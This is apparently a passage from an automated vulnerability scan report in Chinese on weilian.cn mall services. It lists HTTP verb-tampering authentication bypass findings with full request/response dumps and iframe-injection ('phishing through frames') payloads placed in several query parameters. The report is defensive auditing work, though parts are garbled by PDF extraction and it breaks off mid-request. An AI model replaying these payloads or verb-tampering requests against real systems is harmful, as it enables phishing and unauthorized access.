data-theme="css/themes/flatie.css" data-toggle="tooltip" title="翠绿"></a>
```

问题 15 / 18 Toc

使用 HTTP 动词篡改的认证旁路	
严重性:	#
CVSS 分数:	6.4
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/static/component_pages/personal_settings.html
实体:	personal_settings.html (Page)
风险:	可能会升级用户特权并通过 Web 应用程序获取管理许可权可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置
原因:	Web 应用程序编程或配置不安全
固定值:	将您的服务器配置为仅允许所需 HTTP 方法

差异: 方法 从以下位置进行控制: GET 至: BOGUS cookie 已从请求除去: c5b8689a1098705cd3ffdff0d57563a1

Control Links A. Control of Contr

推理: 测试结果似乎指示存在脆弱性,因为"测试响应"与"原始响应"完全相同,这表明动词篡改能够绕过站点认证。

测试请求和响应:

```
BOGUS /static/component_pages/personal_settings.html HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Cookie: enterpriseCode=SUNEEE; account=setest01; enterpriseId=55; enterpriseLevel=1
Connection: keep-alive
Host: system-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: text/html, */*; q=0.01
Accept-Language: en-US,en;q=0.8
```

```
sessionId: c5b8689a1098705cd3ffdff0d57563a1
Content-Length: 7491
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:24:53 GMT
<div class="newpage-con">
   <div class="row block">
       <div class="col-md-2"></div>
       <form action="index.html" method="post" enctype="multipart/form-data" class="col-md-8
form-horizontal" onsubmit="return false;">
         <fieldset>
         <div class="form-group">
         <label class="col-md-3 control-label">请输入原密码: </label>
         <div class="col-md-7">
         <input type="password" id="init_password" name="init_password" class="form-control"</pre>
placeholder="请输入原密码..">
         </div>
         </div>
         <div class="form-group">
         <label class="col-md-3 control-label">请输入新密码: </label>
         <div class="col-md-7">
         <input type="password" id="new password 1" name="new password 1" class="form-control"</pre>
placeholder="请输入新密码..">
         </div>
         </div>
         <div class="form-group">
         <label class="col-md-3 control-label">确认新密码: </label>
         <div class="col-md-7">
         <input type="password" id="new_password_2" name="new_password 2" class="form-control"</pre>
placeholder="确认新密码..">
         </div>
         </div>
         <div class="form-group form-actions">
         <div class="col-md-7 col-md-offset-3">
         <button type="submit" id="update password" class="btn btn-sm btn-primary">修改密码
</hutton>
         </div>
         </div>
         </fieldset>
       </form>
   </div>
</div>
<div style="width: 100%;">
       <div id="personal-settings-editUserDlg" class="from table con">
         <form role="form">
         <input type="hidden" name="userId" id="userId" value=""/>
         账户<label class="required">*</label>
         <input type="text" class="form-control" name="account" id="account" readonly="true"
value=""/>
         姓名<label class="required">*</label>
         <input type="text" class="form-control" name="name" id="name" readonly="true"
value=""/>
         地址
         <input type="text" class="form-control" name="address" id="address" value=""/>
邮箱<label class="required">*</label>
         <input type="text" class="form-control" name="eMail" id="eMail" value=""/>
```

```
手机号码<label class="required">*</label>
         <input type="text" class="form-control" name="telphone" id="telphone" value=""/>
</form>
       </div>
</div>
<div class="form-group form-actions">
   <div class="col-md-7 col-md-offset-3">
       <button type="submit" id="saveBtn" class="btn btn-sm btn-primary">保存</button>
   </div>
</div>
<!--编辑弹窗结束-->
<script>
 $(function () {
       initData();
       $("#saveBtn").bind("click",function () {
        saveData();
       });
       //绑定修改密码按钮点击事件
       $("#update password").bind("click",function () {
         updatePassword();
       });
       //保存修改的密码
       function updatePassword() {
  var originalPassword=$("#init_password").val();
         var newPassword1=$("#new_password_1").val();
         var newPassword2=$("#new password 2").val();
         //输入校验
         if(originalPassword==""){
         layer.msg("请输入原密码!");
         return;
         if(newPassword1=="") {
         layer.msg("请输入新密码!");
         return;
         if(newPassword2==""){
```

问题 16 / 18 Toc

使用 HTTP 动词篡改的认证旁路	
严重性:	#
CVSS 分数:	6.4
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/static/js/getCommonConfig.js
实体:	getCommonConfig.js (Page)
风险:	可能会升级用户特权并通过 Web 应用程序获取管理许可权可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置
原因:	Web 应用程序编程或配置不安全
固定值:	将您的服务器配置为仅允许所需 HTTP 方法

差异: 方法 从以下位置进行控制: GET 至: BOGUS cookie 已从请求除去: c5b8689a1098705cd3ffdff0d57563a1

推理: 测试结果似乎指示存在脆弱性,因为"测试响应"与"原始响应"完全相同,这表明动词篡改能够绕过站点认证。

测试请求和响应:

```
BOGUS /static/js/getCommonConfig.js HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Cookie: enterpriseCode=SUNEEE; account=setest01; enterpriseId=55; enterpriseLevel=1
Connection: keep-alive
Host: system-rest-enterprise.mall.xt.weilian.cn
Accept: */*
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Content-Length: 2437
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:24:53 GMT
                     //base URL
var baseStrUrl;
                                //供应商的URL
var supplierURL;
var goodsURL; //商品的
var storageUrl; //仓库
var wholesaleUrl; //批发
var saleUrl; //零售
var kitchenUrl; //派
                    //后厨URL
var marketUrl; //促销
var purchaseUrl; //采购
var reportformUrl;//报表
var contractUrl; //合同
var enterpriseId; //企业
var uploadUrl; //上传图片url
var dictionaryUrl;
var tmsUrl;
var iespGoodsUrl;
var iespDeclarationUrl;
var iespCargoUrl;
var iespIbaseUrl;
var iespDepotUrl;
var iespExpressUrl;
var iespToolsUrl;
var baseStrURL;
var systemUrl;
var yn_mall_url;
var product scf domain;
var enterpriseLevel;//企业级别
var enterpriseCode;//企业级别
var xp url;
var domaindata;
function getModularPrefix(systemhost) {
    $.ajax({
        async: false,
        type: "GET",
       dataType: 'json',
       url: systemhost+"/user/getModularPrefix",
       error: function (data) {
                                layer.msg("获取api的url数据失败")
//
       success: function (data) {
        systemUrl = data.systemUrl;
```

```
baseStrUrl = data.baseUrl;//rest
          baseStrURL = data.baseURL;//tomcat
          supplierURL = data.supplierURL;
          goodsURL = data.goodsURL;
          storageUrl = data.storageUrl;
          wholesaleUrl = data.wholesaleUrl;
          saleUrl = data.saleUrl;
          kitchenUrl = data.kitchenUrl;
          marketUrl = data.marketUrl;
         purchaseUrl = data.purchaseUrl;
          reportformUrl = data.reportformUrl;
          contractUrl = data.contractUrl;
          uploadUrl = data.uploadUrl;
          enterpriseId = data.enterpriseId;
          dictionaryUrl = data.dictionaryUrl;
          tmsUrl = data.tmsUrl;
          iespGoodsUrl = data.iespGoodsUrl;
          iespDeclarationUrl = data.iespDeclarationUrl;
          iespCargoUrl = data.iespCargoUrl;
          iespIbaseUrl = data.iespIbaseUrl;
          iespDepotUrl = data.iespDepotUrl;
          iespExpressUrl = data.iespExpressUrl;
          iespToolsUrl = data.iespToolsUrl;
          yn_mall_url = data.yn_mall_url;
          product scf domain=data.product scf domain;
          enterpriseLevel=data.enterpriseLevel;
          enterpriseCode=data.enterpriseCode;
          xp url=data.xp url;
          domaindata=data;
   });
}
```

问题 17 / 18 Toc

使用 HTTP 动词篡改的认证旁路 严重性: CVSS 分数: 6.4 URL: http://system-rest-enterprise.mall.xt.weilian.cn/static/js/commons.js 实体: commons.js (Page) 风险: 可能会升级用户特权并通过 Web 应用程序获取管理许可权可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置 原因: Web 应用程序编程或配置不安全 固定值: 将您的服务器配置为仅允许所需 HTTP 方法

差异: 方法 从以下位置进行控制: GET 至: BOGUS cookie 已从请求除去: c5b8689a1098705cd3ffdff0d57563a1

推理: 测试结果似乎指示存在脆弱性,因为"测试响应"与"原始响应"完全相同,这表明动词篡改能够绕过站点认证。

测试请求和响应:

```
BOGUS /static/js/commons.js HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
```

```
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Cookie: enterpriseCode=SUNEEE; account=setest01; enterpriseId=55; enterpriseLevel=1
Host: system-rest-enterprise.mall.xt.weilian.cn
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Content-Length: 1261
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:24:58 GMT
function getBrand() {
   if($("input").hasClass("brand se entry")){
        var test = $(".brand_se_entry").bigAutocomplete({
         width: 'auto',
          id:['brandid','opcode','brandname'],
          highlight: true,
          ajax:{
          url: 'http://test.vr.weilian.cn:40884/goodsRestApi/getGoodsListToBrand',
         type : "GET",
          success: function(data){
          var result = eval(data);
          var Str = result;
          var datas = [];
          for (var i = 0; i < Str.data.length; i++) {
          datas[i] = [];
          console.info(Str.data[i]);
          datas[i].push(Str.data[i].brandid);
          datas[i].push(Str.data[i].opcode);
          datas[i].push(Str.data[i].brandname);
          test.setData(datas,true); // 设置显示的内容,并更新
          test.setTitle(['品牌ID','拼音码','品牌名称']); // 设置标题
          error: function (msg) {
          alert ("查询品牌接口异常")
        });
}
```

问题 18 / 18 Toc

使用 HTTP 动词篡改的认证旁路	
严重性:	#
CVSS 分数:	6.4
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/static/js/dictionaryInit.js
实体:	dictionaryInit.js (Page)
风险:	可能会升级用户特权并通过 Web 应用程序获取管理许可权可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置
原因:	Web 应用程序编程或配置不安全
固定值:	将您的服务器配置为仅允许所需 HTTP 方法

差异: 方法 从以下位置进行控制: GET 至: BOGUS

cookie 已从请求除去: c5b8689a1098705cd3ffdff0d57563a1

推理: 测试结果似乎指示存在脆弱性,因为"测试响应"与"原始响应"完全相同,这表明动词篡改能够绕过站点认证。

测试请求和响应:

```
BOGUS /static/js/dictionaryInit.js HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Cookie: enterpriseCode=SUNEEE; account=setest01; enterpriseId=55; enterpriseLevel=1
Host: system-rest-enterprise.mall.xt.weilian.cn
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Content-Length: 16994
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:24:59 GMT
       dictInit();// 数据字典初始化
 apiUrlInit();//
// 添加自定义校验
                       公共数据初始化
    $.validator.addMethod("telephone", function (value) {
        var partten = /^1\d{10};
        if($.trim(value)=='')
              return true;
        if (partten.test(value)) {
         return true;
        } else {
          return false;
    }, '请输入手机号');
});
window.publicData = {};
window.localData = {};
// 判断对象是否为空。
function isEmptyObject(obj) {
 for ( var key in obj) {
        return false;
return true;
```

```
// 数据字典初始化
function dictInit() {
              暂时ip写法
  var dictionaryUrl='';
  $.ajax({
         async : false,
         type : "GET",
         dataType : 'json',
         url: "/user/getModularPrefix",
         error : function(data) {
                 // layer.msg("
                                      获取api的url数据失败");
         success : function(data) {
  dictionaryUrl= data.dictionaryUrl;
          if (isEmptyObject(localData)) {
                        $.ajax({
                                async : false,
                                 type : "GET",
                                dataType : 'json',
                                url :dictionaryUrl,
                                error : function(data) {
                                        // layer.msg("获取数据词典失败");
                                success : function(data) {
                                        localData = data;
                       });
 });
var keyword;
$("select[keyword]").each(function() {
         keyword = $(this).attr("keyword");
         selectInitBykeyword($(this), window.localData, keyword);
$("input[keyword][type='text']").not(".select_checkbox").each(function() {
         keyword = $(this).attr("keyword");
         inputShowText($(this), window.localData, keyword);
$("input[keyword][type='checkbox']").each(function() {
         keyword = $(this).attr("keyword");
         checkboxInitBykeyword($(this), window.localData, keyword);
$("td[keyword]").each(function() {
         keyword = $(this).attr("keyword");
         tdShowText($(this), window.localData, keyword);
$("pp[keyword]").each(function() {
         keyword = $(this).attr("keyword");
         tdShowText($(this), window.localData, keyword);
$("option[keyword]").each(function() {
         keyword = $(this).attr("keyword");
         tdShowText($(this), window.localData, keyword);
$("input[keyword][type='text'].select_checkbox").each(function() {
         keyword = $(this).attr("keyword");
         selectCheckboxInit($(this), window.localData, keyword);
trClick4Radio();
loadThousandsSeparator();
function writeObj(obj){
 var description = "";
 for(var i in obj){
 var property=obj[i];
description+=i+" = "+property+"\n";
 alert(description);
```

```
// 根据数据字典生成下拉复选框
function selectCheckboxInit(input, localData, keyword) {
var name = input.prop("name");
input.prop("name", name + "show");
input.removeAttr("keyword");
var prefixDiv = '<div class="Select_main"><div class="Select_check"><div</pre>
class="checkbox_w">';
var suffixDiv = '</div></div><div class="Select but"><input type="button" class="btn-bd
sure" value="确定" />'
             var labels = "";
var div;
var filterValue = input.attr("filterValue");
var filterValues = [];
if (filterValue != undefined)filterValues = filterValue.split(",");
$.each(localData.data[0], function(key, objArr) {
       if (key == keyword) {
             $.each(objArr, function(id, obj) {
                     if ($.inArray(obj.ddlid.toString(), filterValues) > -1)return
true;
                     + obj.ddlname + '</span></label>';
              })
                     ;
});
div = prefixDiv + labels + suffixDiv;
input.parent().append(div);
input.before(inputHide);
        下拉显示定位
var position = input.offset();
input.next().offset({
       // top:position.top+22,
       left : position.left,
});
hidee();
// 根据数据字典生成select
function selectInitBykeyword(select, localData, keyword) {
var options = "";
var value = select.attr("value");
var filterValue = select.attr("filterValue");
var filterVa
. . .
```

中 通过框架钓鱼 11

TOC

问题 1 / 11 Toc

通过框架钓鱼	
严重性:	#
CVSS 分数:	6.4
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/getGoodsStockList
实体:	pageNum (Parameter)
风险:	可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	未对用户输入正确执行危险字符清理
固定值:	查看危险字符注入的可能解决方案

差异: 参数 从以下位置进行控制: 1 至:

1%27%22%3E%3Ciframe+id%3D7237+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E

推理:测试结果似乎指示存在脆弱性,因为测试响应包含 URL "http://demo.testfire.net/phishing.html" 的 frame/iframe。

测试请求和响应:

```
GET /goodsRestApi/getGoodsStockList?
draw=1&start=0&length=15&search%5Bvalue%5D=&search%5Bregex%5D=false&pageNum=1%27%22%3E%3Ciframe+i
d%3D7237+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E&searchValue= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:55 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "1'"><iframe id=7237 src=http://demo.testfire.net/phishing.html>"
```

问题 2 / 11 Toc

通过框架钓鱼	
严重性:	#
CVSS 分数:	6.4
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/getGoodsStockList
实体:	start (Parameter)
风险:	可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	未对用户输入正确执行危险字符清理
固定值:	查看危险字符注入的可能解决方案

差异: 参数 从以下位置进行控制: 0 至:

0%27%22%3E%3Ciframe+id%3D7248+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E

推理:测试结果似乎指示存在脆弱性,因为测试响应包含 URL "http://demo.testfire.net/phishing.html" 的 frame/iframe。

测试请求和响应:

```
GET /goodsRestApi/getGoodsStockList?
 draw = 1 \& start = 0 \% 27 \% 22 \% 3E \% 3C if rame + id \% 3D 72 48 + src \% 3D http \% 3A \% 2F \% 2F demo.test fire.net \% 2F phishing.html \% 3D 72 48 + src \% 3D http \% 3A \% 2F \% 2F demo.test fire.net \% 2F phishing.html \% 3D 72 48 + src \% 3D http \% 3A \% 2F \% 2F demo.test fire.net \% 2F phishing.html \% 3D 72 48 + src \% 3D http \% 3A \% 2F \% 2F demo.test fire.net \% 2F phishing.html \% 3D 72 48 + src \% 3D http \% 3A \% 2F \% 2F demo.test fire.net \% 2F phishing.html \% 3D 72 48 + src \% 3D http \% 3A \% 2F \% 2F demo.test fire.net \% 2F phishing.html \% 3D 72 48 + src \% 3D http \% 3A \% 2F \% 2F demo.test fire.net \% 2F phishing.html \% 3D 72 48 + src \% 3D http \% 3A \% 2F \% 2F demo.test fire.net \% 2F phishing.html \% 3D 72 48 + src \% 3D http \% 3A \% 2F \% 2F demo.test fire.net \% 2F phishing.html \% 3D 72 48 + src \% 3D http \% 3D 72 48 + src \% 3D http \% 3D 72 48 + src \% 3D http \% 3D 72 48 + src \% 3D http \% 3D 72 48 + src \% 3D http \% 3D 72 48 + src \% 3D http \% 3D 72 48 + src \% 3D http \% 3D 72 48 + src \% 3D http \% 3D 72 48 + src \% 3D http \% 3D 72 48 + src \% 3D http \% 3D 72 48 + src \% 3D http \% 3D 72 48 + src \% 3D http \% 3D 72 48 + src \% 3D 72 48
E&length=15&search%5Bvalue%5D=&search%5Bregex%5D=false&pageNum=1&searchValue= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01 Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:55 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "0'"><iframe id=7248 src=http://demo.testfire.net/phishing.html>"
```

问题 **3** / **11** Toc

通过框架钓鱼	
严重性:	#
CVSS 分数:	6.4
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/getGoodsStockList
实体:	length (Parameter)
风险:	可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	未对用户输入正确执行危险字符清理
固定值:	查看危险字符注入的可能解决方案

差异: 参数 从以下位置进行控制: 15 至:

15%27%22%3E%3Ciframe+id%3D7251+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E

推理:测试结果似乎指示存在脆弱性,因为测试响应包含 URL "http://demo.testfire.net/phishing.html" 的 frame/iframe。

测试请求和响应:

```
GET /goodsRestApi/getGoodsStockList?
ing.html%3E&search%5Bvalue%5D=&search%5Bregex%5D=false&pageNum=1&searchValue= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:56 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "15'"><iframe id=7251 src=http://demo.testfire.net/phishing.html>"
```

问题 **4** / **11** Toc

通过框架钓鱼	
严重性:	#
CVSS 分数:	6.4
URL:	http://h5config-rest-enterprise.mall.xt.weilian.cn/order/selectCmsOrderList/0
实体:	pageNum (Parameter)
风险:	可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	未对用户输入正确执行危险字符清理
固定值:	查看危险字符注入的可能解决方案

变体-|1/2

差异: 参数 从以下位置进行控制: 1 至:

1%27%22%3E%3Ciframe+id%3D7382+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E

推理: 测试结果似乎指示存在脆弱性,因为测试响应包含 URL

"http://demo.testfire.net/phishing.html" 的 frame/iframe。

测试请求和响应:

```
GET
/order/select CmsOrder List/0? pageNum = 1 \% 27 \% 22 \% 3E\% 3C if rame + id \% 3D 7382 + src \% 3D http \% 3A \% 2F\% 2F demo. test firse the state of t
e.net%2Fphishing.html%3E&pageSize=15 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
{\tt Access-Control-Allow-Headers:}\ x-{\tt requested-with,content-type,sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin:
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:01 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "1'"><iframe id=7382 src=http://demo.testfire.net/phishing.html>"
```

变体-|2/2

差异: 参数 从以下位置进行控制: ① 至:

(1\$27\$22\$3E\$3Ciframe+id\$3D7593+src\$3Dhttp\$3A\$2F\$2Fdemo.testfire.net\$2Fphishing.html\$3E)

推理: 测试结果似乎指示存在脆弱性,因为测试响应包含 URL "http://demo.testfire.net/phishing.html" 的 frame/iframe。

测试请求和响应:

```
/order/selectCmsOrderList/0?pageNum=1%27%22%3E%3Ciframe+id%3D7593+src%3Dhttp%3A%2F%2Fdemo.testfir
e.net%2Fphishing.html%3E&pageSize=15&orderNo=&goodsname= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:11 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "1'"><iframe id=7593 src=http://demo.testfire.net/phishing.html>"
```

问题 5 / 11 Toc

通过框架钓鱼	
严重性:	(
CVSS 分数:	6.4
URL:	http://h5config-rest-enterprise.mall.xt.weilian.cn/order/selectCmsOrderList/0
实体:	pageSize (Parameter)
风险:	可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	未对用户输入正确执行危险字符清理
固定值:	查看危险字符注入的可能解决方案

变体-|1/2

差异: 参数 从以下位置进行控制: 15 至:

15%27%22%3E%3Ciframe+id%3D7424+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E

推理: 测试结果似乎指示存在脆弱性,因为测试响应包含 URL "http://demo.testfire.net/phishing.html" 的 frame/iframe。

测试请求和响应:

```
GET /order/selectCmsOrderList/0?
pageNum=1&pageSize=15%27%22%3E%3Ciframe+id%3D7424+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing
.html%3E HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
```

```
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:02 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "15'"><iframe id=7424 src=http://demo.testfire.net/phishing.html>"
```

变体-|2/2

差异: 参数 从以下位置进行控制: 15 至:

15%27%22%3E%3Ciframe+id%3D7598+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E

推理: 测试结果似乎指示存在脆弱性,因为测试响应包含 URL

"http://demo.testfire.net/phishing.html" 的 frame/iframe。

测试请求和响应:

```
GET /order/selectCmsOrderList/0?
.html%3E&orderNo=&goodsname= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin:
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:11 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "15'"><iframe id=7598 src=http://demo.testfire.net/phishing.html>"
```

问题 6 / 11 Toc

通过框架钓鱼	
严重性:	#
CVSS 分数:	6.4
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/exportGoodsInfo
实体:	gsbmid (Parameter)
风险:	可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	未对用户输入正确执行危险字符清理
固定值:	查看危险字符注入的可能解决方案

差异: 参数 从以下位置进行控制: -至:

%27%22%3E%3Ciframe+id%3D7880+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E

推理: 测试结果似乎指示存在脆弱性,因为测试响应包含 URL "http://demo.testfire.net/phishing.html" 的 frame/iframe。

测试请求和响应:

```
GET /goodsRestApi/exportGoodsInfo?
mo.testfire.net%2Fphishing.html%3E&approvaltypeid=&goodslevelid= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
